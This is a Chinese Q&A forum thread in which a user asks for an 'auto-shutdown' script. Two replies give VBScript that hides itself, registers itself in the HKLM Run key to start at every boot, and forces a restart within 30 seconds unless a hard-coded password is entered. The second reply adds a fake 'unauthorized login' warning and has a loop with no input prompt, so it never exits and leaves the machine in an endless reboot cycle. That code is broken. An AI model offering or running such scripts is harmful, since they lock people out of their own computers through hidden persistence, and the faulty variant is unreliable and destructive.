求高手帮忙编写一个p处理或者vb的自动关机小工具谢谢了,大神帮忙啊

发布网友发布时间：2024-10-12 15:30

共2个回答

热心网友时间：2024-11-20 08:43

VBS->>>>保存后放到C盘跟目录下，密码是123自己可以改下 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c attrib +h +s c:\qs.vbs",0 ,true WSHshell.run "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ""aa"" /t ""reg_sz"" /d ""c:\qs.vbs"" /f",0 ,true WSHshell.run "cmd.exe /c shutdown -r -t 30 -c """"",0 ,true dim a do while(a <> "123") a = inputbox ("请输入密码，否则系统将在30秒内关闭！！！") loop WSHshell.run "cmd.exe /c shutdown -a",0 ,true

热心网友时间：2024-11-20 08:43

dim WSHshell Call MsgBox("非授权账户登录, 系统将在30秒内关闭,操纵权限不足。", vbExclamation, "警告") set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c attrib +h +s c:\qs.vbs",0 ,true WSHshell.run "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ""aa"" /t ""reg_sz"" /d ""c:\qs.vbs"" /f",0 ,true WSHshell.run "cmd.exe /c shutdown -r -t 30 -c """"",0 ,true dim a do while(a <> "123") loop WSHshell.run "cmd.exe /c shutdown -a",0 ,true 将以上代码存为qs.vbs，然后拷在c盘。